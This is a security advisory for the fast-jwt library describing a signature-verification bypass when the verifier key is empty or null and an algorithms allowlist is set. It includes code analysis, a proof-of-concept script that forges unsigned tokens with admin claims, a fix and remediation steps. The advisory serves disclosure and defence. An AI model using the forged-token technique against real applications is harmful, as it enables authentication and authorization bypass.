GHSA-8wpc-h4q6-8fxv: Input Validation
Summary
createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.
Details
Root cause — four cooperating code paths:
A. Falsy sync keys bypass prepareKeyOrSecret
createVerifier branches on typeof key:
js const keyType = typeof key if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') { throw new TokenError(/ ... /) } if (key && keyType !== 'function') { key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0])) }
When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:
js function prepareKeyOrSecret(key, isSecret) { if (isSecret && key.length === 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.') } return isSecret ? createSecretKey(key) : createPublicKey(key) }
B. Explicit algorithms keeps an allowlist active with no key
When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.
C. hasKey is false → missing signature is permitted
js const hasKey = key instanceof Buffer ? key.length : !!key
if (hasKey && !signature) { throw new TokenError(/ missingSignature /) } else if (!hasKey && signature) { throw new TokenError(/ missingKey /) } // !hasKey && !signature → fall through with NO crypto
An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.
D. Signature check is gated on signature being truthy
js if (signature && !verifySignature(header.alg, key, input, signature)) { throw new TokenError(/ invalidSignature /) }
Empty signature → condition is false → verifySignature is never called.
E. Signer / verifier asymmetry
- createSigner({ key: '' }) / key: null → rejected - createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests) - createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens
Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.
Affected versions: confirmed on 6.3.0 (current main @ 378422c). This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).
PoC
bash cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install
js // poc-empty-key-bypass.js const { createVerifier } = require('.')
function unsigned(alg, claims) { const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url') const p = Buffer.from(JSON.stringify(claims)).toString('base64url') return ${h}.${p}. // trailing dot = empty signature }
const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })
// Vulnerable: key '' + explicit algorithms allowlist const verify = createVerifier({ key: '', algorithms: ['HS256'] }) console.log(verify(token)) // → { sub: 'attacker', admin: true, role: 'root' }
// Also works for RS256 / ES256 / EdDSA allowlists and key: null console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true }))) // → { admin: true }
// Negative controls (correctly rejected): try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) } catch (e) { console.log('non-empty key:', e.code) } // FASTJWTMISSINGSIGNATURE
try { createVerifier({ key: '' })(token) } catch (e) { console.log('empty key, no algorithms:', e.code) } // FASTJWTINVALIDALGORITHM
try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) } catch (e) { console.log('empty Buffer:', e.code) } // FASTJWTINVALIDKEY
Expected: TokenError with code FASTJWTINVALIDKEY Actual: payload returned with no signature check
Impact
Full authentication / authorization bypass. Any application that:
1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWTSECRET || ''), and 2. Sets algorithms to a non-empty allowlist (a recommended security practice),
will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.
Suggested fix
In createVerifier, fail closed before binding the verifier:
js if (keyType !== 'function') { if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be null, empty, or a zero-length buffer.') } }
Also guard the combination explicitly:
js if (!key && allowedAlgorithms.length > 0) { throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be falsy when algorithms is set.') }
The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/fast-jwtto a version that resolves this vulnerability.Fixed in 6.3.1 - Compensating control
In fast-jwt createVerifier, fail closed before binding the verifier when the synchronous key is null or an empty string, especially when algorithms is a non-empty allowlist; reject the configuration instead of permitting unsigned tokens.
Event History
Frequently Asked Questions
Which verifier configurations are exposed?
Applications using fast-jwt versions 6.3.0 or earlier are affected when createVerifier receives a synchronous key value of null or an empty string and algorithms is a non-empty allowlist. The issue is tied to that combination of options.
What does an attacker need to exploit this issue?
An attacker only needs to be able to present a JWT to the application. They do not need a signing key, and the JWT algorithm does not prevent exploitation under the affected configuration.
What can be done if the affected configuration cannot be patched immediately?
Ensure createVerifier is not configured with a synchronous null or empty-string key. Use a non-falsy key value and review verifier configurations that also specify a non-empty algorithms allowlist.